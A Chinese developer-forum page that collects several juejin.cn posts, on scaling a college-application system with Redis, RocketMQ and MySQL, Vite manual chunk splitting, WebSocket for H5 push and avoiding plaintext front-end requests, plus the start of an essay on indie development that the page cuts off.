注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

一个高并发项目到落地的心酸路

前言 最近闲来没事,一直在掘金上摸鱼,看了不少高并发相关的文章,突然有感而发,想到了几年前做的一个项目,也多少和高并发有点关系。 这里我一边回忆落地细节一边和大家分享下,兴许能给大家带来点灵感。 正文 需求及背景 先来介绍下需求,首先项目是一个志愿填报系统,既...
继续阅读 »

前言


最近闲来没事,一直在掘金上摸鱼,看了不少高并发相关的文章,突然有感而发,想到了几年前做的一个项目,也多少和高并发有点关系。

这里我一边回忆落地细节一边和大家分享下,兴许能给大家带来点灵感。


正文


需求及背景


先来介绍下需求,首先项目是一个志愿填报系统,既然会扯上高并发,相信大家也能猜到大致是什么的志愿填报。

核心功能是两块,一是给考试填报志愿,二是给老师维护考生数据。

本来这个项目不是我们负责,奈何去年公司负责这个项目的组遭到了甲方严重的投诉,说很多考生用起来卡顿,甚至把没填上志愿的责任归到系统上。

甲方明确要求,如果这年再出现这种情况,公司在该省的所有项目将面临被替换的风险。

讨论来讨论去,最后公司将任务落到我们头上时,已经是几个月后的事了,到临危受命阶段,剩下不到半年时间。

虽然直属领导让我们不要有心理负担,做好了表扬,做不好锅也不是我们的,但明显感觉到得到他的压力,毕竟一个不小心就能上新闻。


分析


既然开始做了,再说那些有的没的就没用了,直接开始分析需求。

首先,业务逻辑并不算复杂,难点是在并发和数据准确性上。与客户沟通后,大致了解了并发要求后,于是梳理了下。



  1. 考生端登录接口、考生志愿信息查询接口需要4W QPS

  2. 考生保存志愿接口,需要2W TPS

  3. 报考信息查询4W QPS

  4. 老师端需要4k QPS

  5. 导入等接口没限制,可以异步处理,只要保证将全部信息更新一遍在20分钟以内即可,同时故障恢复的时间必须在20分钟以内(硬性要求)

  6. 考生端数据要求绝对精准,不能出现遗漏、错误等和考生操作不一致的数据

  7. 数据脱敏,防伪

  8. 资源是有限的,提供几台物理机

    大的要求就这么多,主要是在有限资源下需要达到如此高的并发确实需要思考思考,一般的crud根本达不到要求。


方案研讨


接下来我会从当时我们切入问题的点开始,从前期设计到项目落地整个过程的问题及思考,一步步去展示这个项目如何实现的

首先,我们没有去设计表,没有去设计接口,而是先去测试。测试什么?测试我们需要用到或可能用到的中间件是否满足需求


MySQL


首先是MySQL,单节点MySQL测试它的读和取性能,新建一张user表。

向里面并发插入数据和查询数据,得到的TPS大概在5k,QPS大概在1.2W。

查询的时候是带id查询,索引列的查询不及id查询,差距大概在1k。

insert和update存在细微并发差距,但基本可以忽略,影响更新性能目前最大的问题是索引。

如果表中带索引,将降低1k-1.5k的TPS。

目前结论是,mysql不能达到要求,能不能考虑其他架构,比如mysql主从复制,写和读分开。

测试后,还是放弃,主从复制结构会影响更新,大概下降几百,而且单写的TPS也不能达到要求。

至此结论是,mysql直接上的方案肯定是不可行的


Redis


既然MySQL直接查询和写入不满足要求,自然而然想到加入redis缓存。于是开始测试缓存,也从单节点redis开始测试。

get指令QPS达到了惊人的10w,set指令TPS也有8W,意料之中也惊喜了下,仿佛看到了曙光。

但是,redis容易丢失数据,需要考虑高可用方案


实现方案


既然redis满足要求,那么数据全从redis取,持久化仍然交给mysql,写库的时候先发消息,再异步写入数据库。

最后大体就是redis + rocketMQ + mysql的方案。看上去似乎挺简单,当时我们也这样以为 ,但是实际情况却是,我们过于天真了。

这里主要以最重要也是要求最高的保存志愿信息接口开始攻略


故障恢复

第一个想到的是,这些个节点挂了怎么办?

mysql挂了比较简单,他自己的机制就决定了他即使挂掉,重启后仍能恢复数据,这个可以不考虑。

rocketMQ一般情况下挂掉了可能会丢失数据,经过测试发现,在高并发下,确实存在丢消息的现象。

原因是它为了更加高效,默认采用的是异步落盘的模式,这里为了保证消息的绝对不丢失,修改成同步落盘模式。

然后是最关键的redis,不管哪种模式,redis在高并发下挂掉,都会存在丢失数据的风险。

数据丢失对于这个项目格外致命,优先级甚至高于并发的要求。

于是,问题难点来到了如何保证redis数据正确,讨论过后,决定开启redis事务。

保存接口的流程就变成了以下步骤:

1.redis 开启事务,更新redis数据

2.rocketMQ同步落盘

3.redis 提交事务

4.mysql异步入库

我们来看下这个接口可能存在的问题。

第一步,如果redis开始事务或更新redis数据失败,页面报错,对于数据正确性没有影响

第二步,如果rocketMQ落盘报错,那么就会有两种情况。

情况一,落盘失败,消息发送失败,好像没什么影响,直接报错就可。

情况二,如果发送消息成功,但提示发送失败(无论什么原因),这时候将导致mysql和redis数据的最终不一致。

如何处理?怎么知道是redis的有问题还是mysql的有问题?出现这种情况时,如果考生不继续操作,那么这条错误的数据必定无法被更新正确。

考虑到这个问题,我们决定引入一个时间戳字段,同时启动一个定时任务,比较mysql和redis不一致的情况,并自主修复数据。

首先,redis中记录时间戳,同时在消息中也带上这个时间戳并在入库时记录到表中。

然后,定时任务30分钟执行一次,比较redis中的时间戳是否小于mysql,如果小于,便更新redis中数据。如果大于,则不做处理。

同时,这里再做一层优化,凌晨的时候执行一个定时任务,比较redis中时间戳大于mysql中的时间戳,连续两天这条数据都存在且没有更新操作,将提示给我们手动运维。

然后是第三步,消息提交成功但是redis事务提交失败,和第二步处理结果一致,将被第二个定时任务处理。

这样看下来,即使redis崩掉,也不会丢失数据。


第一轮压测


接口实现后,当时怀着期待,信息满满的去做了压测,结果也是当头棒喝。

首先,数据准确性确实没有问题,不管突然kill掉哪个环节,都能保证数据最终一致性。

但是,TPS却只有4k不到的样子,难道是节点少了?

于是多加了几个节点,但是仍然没有什么起色。问题还是想简单了。


重新分析


经过这次压测,之后一个关键的问题被提了出来,影响接口TPS的到底是什么???

一番讨论过后,第一个结论是:一个接口的响应时间,取决于它最慢的响应时间累加,我们需要知道,这个接口到底慢在哪一步或哪几步?

于是用arthas看了看到底慢在哪里?

结果却是,最慢的竟然是redis修改数据这一步!这和测试的时候完全不一样。于是针对这一步,我们又继续深入探讨。

结论是:

redis本身是一个很优秀的中间件,并发也确实可以,选型时的测试没有问题。

问题出在IO上,我们是将考生的信息用json字符串存储到redis中的(为什么不保存成其他数据结构,因为我们提前测试过几种可用的数据结构,发现redis保存json字符串这种性能是最高的),

而考生数据虽然单条大小不算大,但是在高并发下的上行带宽却是被打满的。

于是针对这种情况,我们在保存到redis前,用gzip压缩字符串后保存到redis中。

为什么使用gzip压缩方式,因为我们的志愿信息是一个数组,很多重复的数据其实都是字段名称,gzip和其他几个压缩算法比较后,综合考虑到压缩率和性能,在当时选择了这种压缩算法。

针对超过限制的字符串,我们同时会将其拆封成多个(实际没有超过三个的)key存储。


继续压测


又一轮压测下来,效果很不错,TPS从4k来到了8k。不错不错,但是远远不够啊,目标2W,还没到它的一半。

节点不够?加了几个节点,有效果,但不多,最终过不了1W。

继续深入分析,它慢在哪?最后发现卡在了rocketMQ同步落盘上。

同步落盘效率太低?于是压测一波发现,确实如此。

因为同步落盘无论怎么走,都会卡在rocketMQ写磁盘的地方,而且因为前面已经对字符串压缩,也没有带宽问题。

问题到这突然停滞,不知道怎么处理rocketMQ这个点。

同时,另一个同事在测试查询接口时也带来了噩耗,查询接口在1W2左右的地方就上不去了,原因还是卡在带宽上,即使压缩了字符串,带宽仍被打满。

怎么办?考虑许久,最后决定采用较常规的处理方式,那就是数据分区,既然单个rocketMQ服务性能不达标,那么就水平扩展,多增加几个rocketMQ。

不同考生访问的MQ不一样,同时redis也可以数据分区,幸运的是正好redis有哈希槽的架构支持这种方式。

而剩下的问题就是如何解决考生分区的方式,开始考虑的是根据id进行求余的分区,但后来发现这种分区方式数据分布及其不均匀。

后来稍作改变,根据正件号后几位取余分区,数据分布才较为均匀。有了大体解决思路,一顿操作后继续开始压测。


一点小意外


压测之后,结果再次不如人意,TPS和QPS双双不增反降,继续通过arthas排查。

最后发现,redis哈希槽访问时会在主节点先计算key的槽位,而后再将请求转到对应的节点上访问,这个计算过程竟然让性能下降了20%-30%。

于是重新修改代码,在java内存中先计算出哈希槽位,再直接访问对应槽位的redis。如此重新压测,QPS达到了惊人的2W,TPS也有1W2左右。

不错不错,但是也只到了2W,在想上去,又有了瓶颈。

不过这次有了不少经验,马上便发现了问题所在,问题来到了nginx,仍然是一样的问题,带宽!

既然知道原因,解决起来也比较方便,我们将唯一有大带宽的物理机上放上两个节点nginx,通过vip代理出去,访问时会根据考生分区信息访问不同的地址。


压测


已经记不清第几轮压测了,不过这次的结果还算满意,主要查询接口QPS已经来到了惊人的4W,甚至个别接口来到6W甚至更高。

胜利已经在眼前,唯一的问题是,TPS上去不了,最高1W4就跑不动了。

什么原因呢?查了每台redis主要性能指标,发现并没有达到redis的性能瓶颈(上行带宽在65%,cpu使用率也只有50%左右)。

MQ呢?MQ也是一样的情况,那出问题的大概率就是java服务了。分析一波后发现,cpu基本跑到了100%,原来每个节点的最大链接数基本占满,但带宽竟然还有剩余。

静下心来继续深入探讨,连接数为什么会满了?原因是当时使用的SpringBoot的内置容器tomcat,无论如何配置,最大连接数最大同时也就支持1k多点。

那么很简单的公式就能出来,如果一次请求的响应时间在100ms,那么1000 * 1000 / 100 = 10000。

也就是说单节点最大支持的并发也就1W,而现在我们保存的接口响应时间却有300ms,那么最大并发也就是3k多,目前4个分区,看来1W4这个TPS也好像找到了出处了。

接下来就是优化接口响应时间的环节,基本是一步一步走,把能优化的都优化了一遍,最后总算把响应时间控制在了100ms以内。

那么照理来说,现在的TPS应该会来到惊人的4W才对。


再再次压测


怀着忐忑又激动的心情,再一次进入压测环节,于是,TPS竟然来到了惊人的2W5。

当时真心激动了一把,但是冷静之后却也奇怪,按正常逻辑,这里的TPS应该能达到3W6才对。

为了找到哪里还有未发现的坑(怕上线后来惊喜),我们又进一步做了分析,最后在日志上找到了些许端倪。

个别请求在链接redis时报了链接超时,存在0.01%的接口响应时间高于平均值。

于是我们将目光投向了redis连接数上,继续一轮监控,最终在业务实现上找到了答案。

一次保存志愿的接口需要执行5次redis操作,分别是获取锁、获取考生信息、获取志愿信息、修改志愿信息、删除锁,同时还有redis的事务。

而与之相比,查询接口只处理了两次操作,所以对于一次保存志愿的操作来看,单节点的redis最多支持6k多的并发。

为了验证这个观点,我们尝试将redis事务和加锁操作去掉,做对照组压测,发现并发确实如预期的一样有所提升(其实还担心一点,就是抢锁超时)。


准备收工


至此,好像项目的高并发需求都已完成,其他的就是完善完善细节即可。

于是又又又一次迎来了压测,这一次不负众望,重要的两个接口均达到了预期。

这之后便开始真正进入业务实现环节,待整个功能完成,在历时一个半月带两周的加班后,终于迎来了提测。


提测后的问题


功能提测后,第一个问题又又又出现在了redis,当高并发下突然kill掉redis其中一个节点。

因为用的是哈希槽的方式,如果挂掉一个节点,在恢复时重新算槽将非常麻烦且效率很低,如果不恢复,那么将严重影响并发。

于是经过讨论之后,决定将redis也进行手动分区,分区逻辑与MQ的一致。

但是如此做,对管理端就带来了一定影响,因为管理端是列表查询,所以管理端获取数据需要从多个节点的redis中同时获取。

于是管理端单独写了一套获取数据分区的调度逻辑。

第二个问题是管理端接口的性能问题,虽然管理端的要求没考生端高,但扛不住他是分页啊,一次查10个,而且还需要拼接各种数据。

不过有了前面的经验,很快就知道问题出在了哪里,关键还是redis的连接数上,为了降低链接数,这里采用了pipeline拼接多个指令。


上线


一切准备就绪后,就准备开始上线。说一下应用布置情况,8+4+1+2个节点的java服务,其中8个节点考生端,4个管理端,1个定时任务,2个消费者服务。

3个ng,4个考生端,1个管理端。

4个RocketMQ。

4个redis。

2个mysql服务,一主一从,一个定时任务服务。

1个ES服务。

最后顺利上线,虽然发生了个别线上问题,但总体有惊无险,

而真是反馈的并发数也远没有到达我们的系统极限,开始准备的水平扩展方案也没有用上,无数次预演过各个节点的宕机和增加分区,一般在10分钟内恢复系统,不过好在没有排上用场。


最后


整个项目做下来感觉越来越偏离面试中的高并发模式,说实在的也是无赖之举,

偏离的主要原因我认为是项目对数据准确性的要求更高,同时需要完成高并发的要求。

但是经过这个项目的洗礼,在其中也收获颇丰,懂得了去监控服务性能指标,然后也加深了中间件和各种技术的理解。

做完之后虽然累,但也很开心,毕竟在有限的资源下去分析性能瓶颈并完成项目要求后,还是挺有成就感的。

再说点题外话,虽然项目成功挽回了公司在该省的形象,也受到了总公司和领导表扬,但最后也就这样了,

实质性的东西一点没有,这也是我离开这家公司的主要原由。不过事后回想,这段经历确实让人难忘,也给我后来的工作带来了很大的帮助。

从以前的crud,变得能去解决接口性能问题。这之前一遇上,可能两眼茫然或是碰运气,现在慢慢的会根据蛛丝马迹去探究优化方案。

不知道我在这个项目的经历是否能引起大家共鸣?希望这篇文章能对你有所帮助。


作者:青鸟218
来源:juejin.cn/post/7346021356679675967
收起阅读 »

在 vite 工程化中手动分包

web
项目搭建我们使用 vite 搭建一个 vue3 工程,执行命令:pnpm create vite vue3-demo --template vue-ts 安装 lodash 依赖包,下载依赖:pnpm...
继续阅读 »

项目搭建

  1. 我们使用 vite 搭建一个 vue3 工程,执行命令:
pnpm create vite vue3-demo --template vue-ts
  1. 安装 lodash 依赖包,下载依赖:
pnpm add lodash

pnpm install
  1. 完成后的工程目录结构是这样的: 


业务场景

我们先首次构建打包,然后修改一下代码再打包,对比一下前后打包差异:


可以看到,代码改动后,index-[hash].js 的文件指纹发生了变化,这意味着每次打包后,用户就要重新下载新的 js,而这个文件里面包含了这些东西:vuelodash业务代码,其中像 vuelodash 这些依赖包是固定不变的,有变动的只是我们的业务代码,基于这个点我们就可以在其基础上打包优化。

打包优化

我们需要在打包上优化两个点:

  1. 把第三方依赖库单独打包成一个 js 文件
  2. 把我们的业务代码单独打包成一个 js 文件

这块需要我们对 vite 工程化知识有一定的了解,它使用 Rollup 打包你的代码,并且它是预配置的,可输出用于生产环境的高度优化过的静态资源,可以通过配置 build.rollupOptions.output.manualChunks 来自定义 chunk 分割策略。

更改 vite 配置

  1. 打开 vite.config.ts,加入配置项:
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

// https://vitejs.dev/config/
export default defineConfig({
plugins: [vue()],
build: {
rollupOptions: {
output: {
manualChunks: {
'vendor':['vue', 'lodash'], // 这里可以自己自定义打包名字和需要打包的第三方库
}
}
}
}
})
  1. 执行打包命令,我们可以看到打包文件中多了一个 verdor-[hash].js 的文件,这个就是刚才配置分包的文件: 


  1. 这样的好处就是,将来如果我们的业务代码有改动,打包的第三方库的文件指纹就不会变,用户就会直接读取浏览器缓存,这是一种比较优的解决办法: 


  1. 但这样需要我们每次都手动填写第三方库,那也显得太呆了,我们可以把 manualChunks 配置成一个函数,每次去加载这个模块的时候,它就会运行这个函数,打印看下输出什么: 


  1. 我们会发现依赖包都是在 node_modules 目录下,接下来我们就修改一下配置:
 import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

// https://vitejs.dev/config/
export default defineConfig({
plugins: [vue()],
build: {
rollupOptions: {
output: {
manualChunks(id) {
if (id.includes('node_modules')) {
return 'vendor'
}
}
}
}
}
})
  1. 我们再看下打包结果: 


总结

分包(Code Splitting)是一种将应用程序代码拆分为不同的块或包的技术,从而在需要时按需加载这些包。这种技术带来了许多优势,特别是在构建大型单页应用(Single Page Application,SPA)时。

  • 减小初始加载时间: 将应用程序分成多个小块,可以减少初始加载时需要下载的数据量。这意味着用户可以更快地看到初始内容,提高了用户体验。
  • 优化资源利用: 分包可以根据用户的操作行为和需要进行按需加载。这样,在用户访问特定页面或功能时,只会加载与之相关的代码,而不会加载整个应用程序的所有代码,从而减少了不必要的资源消耗。
  • 并行加载: 分包允许浏览器并行加载多个包。这可以加速页面加载,因为浏览器可以同时请求多个资源,而不是等待一个大文件下载完成。
  • 缓存优化: 分包使得缓存管理更加灵活。如果应用程序的一部分发生变化,只需重新加载受影响的分包,而不必重新加载整个应用程序。
  • 减少内存占用: 当用户访问某个页面时,只有该页面所需的代码被加载和执行。这有助于减少浏览器内存的使用,尤其是在应用程序变得复杂时。
  • 按需更新: 当应用程序的某个部分需要更新时,只需要重新发布相应的分包,而不必重新发布整个应用程序。这可以减少发布和部署的复杂性。
  • 代码复用和维护: 分包可以按功能或模块来划分,从而鼓励代码的模块化和复用。这样,不同页面之间可以共享相同的代码块,减少了重复编写和维护代码的工作量。


作者:白雾茫茫丶
来源:juejin.cn/post/7346031272919072779
收起阅读 »

H5推送,为什么都用WebSocket?

web
       大家好,我是石头~        最近大盘在3000点附近磨蹭,我也随大众去网上浏览了下感兴趣的几只股票,看下行情怎样。        看了一会,还是垃圾行情,不咋地,不过看着页面上的那些实时刷新分时图和五档行情,倒是想起公司以前就因为这个实时数...
继续阅读 »

       大家好,我是石头~


       最近大盘在3000点附近磨蹭,我也随大众去网上浏览了下感兴趣的几只股票,看下行情怎样。
       看了一会,还是垃圾行情,不咋地,不过看着页面上的那些实时刷新分时图和五档行情,倒是想起公司以前就因为这个实时数据刷新的问题,差点引起一次生产事故。


HTTP轮询差点导致生产事故


       那是一个给用户展示实时数据的需求,产品的要求是用户数据发生变动,需要在30秒内给客户展示出来。


       当时由于数据展示的页面入口较深,负责的后端开发就让H5通过轮询调用的方式来实现数据刷新。


       然而,由于客户端开发的失误,将此页面在APP打开时就进行了初始化,导致数据请求量暴涨,服务端压力大增,差点就把服务端打爆了。


fa7049166c79454eb87f3890d1aa6f4b.webp


H5推送,应该用什么?


       既然用HTTP做实时数据刷新有风险,那么,应该用什么方式来实现?


       一般要实现服务端推送,都需要用到长连接,而能够做到长连接的只有WebSocket、UDP和TCP,而且,WebSocket是在TCP之上构建的一种高级应用层协议。大家觉得我们应该用哪一种?


       其实,大家只要网上查一下,基本都会被推荐使用WebSocket,那么,为什么要用WebSocket?


u=2157318451,827303453&fm=253&fmt=auto&app=138&f=JPEG.webp


为什么要用WebSocket?


       这个我们可以从以下几个方面来看:



  • 易用性与兼容性:WebSocket兼容现代浏览器(HTML5标准),可以直接在H5页面中使用JavaScript API与后端进行交互,无需复杂的轮询机制,而且支持全双工通信。而TCP层级的通信通常不适合直接在纯浏览器环境中使用,因为浏览器API主要面向HTTP(S)协议栈,若要用TCP,往往需要借助Socket.IO、Flash Socket或其他插件,或者在服务器端代理并通过WebSocket、Comet等方式间接与客户端通信。

  • 开发复杂度与维护成本:WebSocket已经封装好了一套完整的握手、心跳、断线重连机制,对于开发者而言,使用WebSocket API相对简单。而TCP 开发则需要处理更多的底层细节,包括但不限于连接管理、错误处理、协议设计等,这对于前端开发人员来说门槛较高。

  • 资源消耗与性能:WebSocket 在建立连接之后可以保持持久连接,减少了每次请求都要建立连接和断开连接带来的资源消耗,提升了性能。而虽然TCP连接也可以维持长久,但如果是自定义TCP协议,由于没有WebSocket的标准化复用和优化机制,可能在大规模并发场景下,资源管理和性能控制更为复杂。

  • 移动设备支持:WebSocket在移动端浏览器上的支持同样广泛,对于跨平台的H5应用兼容性较好。若采用原生TCP,移动设备上的兼容性和开发难度会进一步加大。


websocket01.jpg


结论


       综上所述,H5实时数据推送建议使用WebSocket,但是在使用WebSocket的时候,大家对其安全机制要多关注,避免出现安全漏洞。


作者:石头聊技术
来源:juejin.cn/post/7345404998164955147
收起阅读 »

面试官:前端请求如何避免明文传输?谁沉默了,原来是我

web
如果你也在准备春招,欢迎加微信shunwuyu。这里有几十位一心去大厂的友友可以相互鼓励,分享信息,模拟面试,共读源码,齐刷算法,手撕面经。 前言 连夜肝文,面试以来最尴尬的一次,事情是这样的,最近有开始面稍微有难度一点岗位,本文的主题出自北京某一小厂的正式...
继续阅读 »

如果你也在准备春招,欢迎加微信shunwuyu。这里有几十位一心去大厂的友友可以相互鼓励,分享信息,模拟面试,共读源码,齐刷算法,手撕面经。



前言


连夜肝文,面试以来最尴尬的一次,事情是这样的,最近有开始面稍微有难度一点岗位,本文的主题出自北京某一小厂的正式岗面试题,薪资水平大概开在10k-12k。之前一直是投的比较小的公司比较简单的实习岗位,这个是无意间投出去的一个,由于是 0 年经验小白*1,结果没想到简历过筛,硬着头皮上了。


结果很惨,40分钟的面试有 80% 不会回答,像大文件上传、缓存优化、滑动 text-area标签用什么属性(话说为什么有这么冷的题)等等,有一个算一个,都没答出来。


2.jpg


重点来了,在两个面试官问到前端请求如何避免明文传输的时候,在我绞尽脑汁思考五秒之后,现场气氛非常凝重,这道题也成为了这次面试的最后一题。


在此提醒各位小伙伴,如果你的简历或者自我介绍中有提到网络请求,一定要注意了解一下有关数据加密处理,出现频率巨高!!!


最后,下午四点面试,六点hr就通知了我面试结果,凉凉


微信图片_20240224002007.jpg


如何避免前端请求明文传输


要在前端发送请求时做到不明文,有以下几种方法:



  1. HTTPS 加密传输: 使用 HTTPS 协议发送请求,所有的数据都会在传输过程中进行加密,从而保护数据不以明文形式传输。这样即使数据被截获,黑客也无法直接获取到数据的内容。

  2. 数据加密处理: 在前端对敏感数据进行加密处理,然后再发送请求。可以使用一些加密算法,如 AES、RSA 等,将敏感数据进行加密后再发送到服务器。这样即使数据在传输过程中被截获,也无法直接获取其内容。

  3. 请求签名验证: 在发送请求之前,前端对请求参数进行签名处理,并将签名结果和请求一起发送到服务器。服务器端根据事先约定的签名算法和密钥对请求参数进行验证,确保请求的完整性和可靠性。

  4. Token 验证: 在用户登录时,后端会生成一个 Token 并返回给前端,前端在发送请求时需要将 Token 添加到请求头或请求参数中。后端在接收到请求后,验证 Token 的有效性,以确保请求的合法性。

  5. 请求头加密处理: 在发送请求时,可以将请求头中的一些关键信息进行加密处理,然后再发送到服务器。服务器端需要在接收到请求后对请求头进行解密,以获取其中的信息。


HTTPS 加密传输


HTTPS(HyperText Transfer Protocol Secure)是HTTP协议的安全版本,它通过在HTTP和TCP之间添加一层TLS/SSL加密层来实现加密通信。


HTTPS加密传输的具体细节:



  1. TLS/SSL握手过程: 客户端与服务器建立HTTPS连接时,首先进行TLS/SSL握手。在握手过程中,客户端和服务器会交换加密算法和密钥信息,以协商出双方都支持的加密算法和密钥,从而确保通信的安全性。

  2. 密钥交换: 在握手过程中,客户端会向服务器发送一个随机数,服务器使用该随机数以及自己的私钥生成一个对称密钥(即会话密钥)。该对称密钥用于加密和解密后续的通信数据。

  3. 证书验证: 在握手过程中,服务器会向客户端发送自己的数字证书。客户端会验证服务器的数字证书是否有效,包括检查证书的颁发机构、有效期等信息,以确认与服务器建立连接的真实性。

  4. 加密通信: 客户端和服务器在握手成功后,就会使用协商好的加密算法和密钥进行通信。客户端和服务器之间传输的所有数据都会被加密,包括HTTP请求和响应内容、URL、请求头等信息。

  5. 完整性保护: 在通信过程中,TLS/SSL还会使用消息认证码(MAC)来保护通信的完整性,防止数据在传输过程中被篡改。MAC是通过将通信内容和密钥进行哈希计算得到的,用于验证数据的完整性。


通过以上步骤,HTTPS这种加密通信方式在保护用户隐私、防止数据被窃取或篡改方面起到了重要作用。


数据加密处理


数据加密处理是指在前端对敏感数据进行加密处理,以确保数据在传输过程中的安全性。


数据加密处理的一般步骤和具体方法:



  1. 选择加密算法: 首先需要选择合适的加密算法,常见的包括对称加密算法(如AES)和非对称加密算法(如RSA)。对称加密算法使用相同的密钥进行加密和解密,而非对称加密算法使用公钥和私钥进行加密和解密。

  2. 生成密钥: 对于对称加密算法,需要生成一个密钥,用于加密和解密数据。对于非对称加密算法,需要生成一对公钥和私钥,公钥用于加密数据,私钥用于解密数据。

  3. 加密数据: 在前端,使用选择好的加密算法和密钥对敏感数据进行加密处理。例如,对用户的密码、个人信息等敏感数据进行加密处理,确保在数据传输过程中不被窃取或篡改。

  4. 传输加密数据: 加密后的数据可以作为请求的参数发送到服务器。在发送请求时,可以将加密后的数据作为请求体或请求参数发送到服务器,确保数据在传输过程中的安全性。

  5. 解密数据(可选): 在服务器端接收到加密数据后,如果需要对数据进行解密处理,则需要使用相同的加密算法和密钥对数据进行解密操作。这样可以得到原始的明文数据,进一步进行业务处理。


总的来说,数据加密处理通过选择合适的加密算法、安全地管理密钥,以及正确地使用加密技术,可以有效地保护用户数据的安全性和隐私性。


请求签名验证


请求签名验证是一种验证请求完整性和身份验证的方法,通常用于确保请求在传输过程中没有被篡改,并且请求来自于合法的发送方。


请求签名验证的一般步骤:



  1. 签名生成: 发送请求的客户端在发送请求之前,会根据事先约定好的签名算法(如HMAC、RSA等)以及密钥对请求参数进行签名处理。签名处理的结果会作为请求的一部分发送到服务器。

  2. 请求发送: 客户端发送带有签名的请求到服务器。签名可以作为请求头、请求参数或请求体的一部分发送到服务器。

  3. 验证签名: 服务器接收到请求后,会根据事先约定好的签名算法以及密钥对请求参数进行签名验证。服务器会重新计算请求参数的签名,然后将计算得到的签名和请求中的签名进行比较。

  4. 比较签名: 服务器会将计算得到的签名和请求中的签名进行比较。如果两者一致,则说明请求参数没有被篡改,且请求来自于合法的发送方;否则,说明请求可能被篡改或来自于非法发送方,服务器可以拒绝该请求或采取其他适当的处理措施。

  5. 响应处理(可选): 如果请求签名验证通过,服务器会处理请求,并生成相应的响应返回给客户端。如果请求签名验证不通过,服务器可以返回相应的错误信息或拒绝请求。


通过请求签名验证,可以确保请求在传输过程中的完整性和可靠性,防止数据被篡改或伪造请求。这种方法经常用于对 API 请求进行验证,保护 API 服务的安全和稳定。


Token 验证


Token 验证是一种常见的用户身份验证方式,通常用于保护 Web 应用程序的 API 端点免受未经授权的访问。


Token验证的一般步骤:



  1. 用户登录: 用户使用用户名和密码登录到Web应用程序。一旦成功验证用户的凭据,服务器会生成一个Token并将其返回给客户端。

  2. Token生成: 服务器生成一个Token,通常包括一些信息,如用户ID、角色、过期时间等,然后将Token发送给客户端(通常是作为响应的一部分)。

  3. Token发送: 客户端在每次向服务器发送请求时,需要将Token作为请求的一部分发送到服务器。这通常是通过HTTP请求头的Authorization字段来发送Token,格式可能类似于Bearer Token。

  4. Token验证: 服务器在接收到请求时,会检查请求中的Token。验证过程包括检查Token的签名是否有效、Token是否过期以及用户是否有权限执行请求的操作。

  5. 响应处理: 如果Token验证成功,服务器会处理请求并返回相应的数据给客户端。如果Token验证失败,服务器通常会返回401 Unauthorized或其他类似的错误代码,并要求客户端提供有效的Token。

  6. Token刷新(可选): 如果Token具有过期时间,客户端可能需要定期刷新Token以保持登录状态。客户端可以通过向服务器发送刷新Token的请求来获取新的Token。


在Token验证过程中,服务器可以有效地识别和验证用户身份,以确保API端点仅允许授权用户访问,并保护敏感数据不被未经授权的访问。


请求头加密处理


请求头加密处理是指在前端将请求头中的一些关键信息进行加密处理,然后再发送请求到服务器。


请求头加密处理的一般步骤:



  1. 选择加密算法: 首先需要选择适合的加密算法,常见的包括对称加密算法(如AES)和非对称加密算法(如RSA)。根据安全需求和性能考虑选择合适的加密算法。

  2. 生成密钥: 对于对称加密算法,需要生成一个密钥,用于加密和解密请求头中的信息。对于非对称加密算法,需要生成一对公钥和私钥,公钥用于加密数据,私钥用于解密数据。

  3. 加密请求头: 在前端,使用选择好的加密算法和密钥对请求头中的关键信息进行加密处理。可以是请求中的某些特定参数、身份验证信息等。确保加密后的请求头信息无法直接被识别和篡改。

  4. 发送加密请求: 加密处理后的请求头信息作为请求的一部分发送到服务器。可以是作为请求头的一部分,也可以是作为请求体中的一部分发送到服务器。

  5. 解密处理(可选): 在服务器端接收到加密请求头信息后,如果需要对请求头进行解密处理,则需要使用相同的加密算法和密钥对数据进行解密操作。这样可以得到原始的请求头信息,服务器可以进一步处理请求。


请求头加密处理这种方法可以有效地防止请求头中的敏感信息被窃取或篡改,并提高了数据传输的安全性。


请求头加密处理和数据加密处理的区别


请求头加密处理和数据加密处理在概念和步骤上非常相似,都是为了保护数据在传输过程中的安全性。


要区别在于加密的对象和处理方式:



  1. 加密对象:



    • 请求头加密处理: 主要是对请求头中的一些关键信息进行加密处理,例如身份验证信息、授权信息等。请求头中的这些信息通常是用来授权访问或识别用户身份的关键数据。

    • 数据加密处理: 主要是对请求体中的数据或响应体中的数据进行加密处理,例如用户提交的表单数据、API请求中的参数数据等。这些数据通常是需要保护隐私的用户输入数据或敏感业务数据。



  2. 处理方式:



    • 请求头加密处理: 一般来说,请求头中的关键信息通常较少,并且不像请求体中的数据那样多样化。因此,请求头加密处理可以更加灵活,可以选择性地对请求头中的特定信息进行加密处理,以提高安全性。

    • 数据加密处理: 数据加密处理通常是对请求体中的整体数据进行加密处理,以保护整体数据的安全性。例如,对表单数据进行加密处理,或对API请求参数进行加密处理,确保数据在传输过程中不被窃取或篡改。




结论:
请求头加密处理和数据加密处理都是为了保护数据在传输过程中的安全性,但针对的对象和处理方式有所不同。


请求头加密处理主要针对请求头中的关键信息进行加密,而数据加密处理主要针对请求体中的数据进行加密。


作者:知了知了__
来源:juejin.cn/post/7338702103882399744
收起阅读 »

保守点,90%的程序员不适合做独立开发

近两年互联网行业不景气,很多程序员都在寻找新出路。很自然的,独立开发成为一个充满吸引力的选择 —— 背靠自己的开发技能,不用看老板脸色,靠产品养活自己,想想就很美好。 但恕我直言,保守点说,90%的程序员不适合做独立开发。 这篇文章全是大实话,虽然会打破一些人...
继续阅读 »

近两年互联网行业不景气,很多程序员都在寻找新出路。很自然的,独立开发成为一个充满吸引力的选择 —— 背靠自己的开发技能,不用看老板脸色,靠产品养活自己,想想就很美好。


但恕我直言,保守点说,90%的程序员不适合做独立开发。


这篇文章全是大实话,虽然会打破一些人的幻想,但也提供解决方案,希望对迷茫的同学有些帮助。


独立开发赚钱么?


如果你满足如下画像:



  • 程序员工作多年,编程水平不错

  • 收入完全来源于工资

  • 日常学习的目的是提升技术


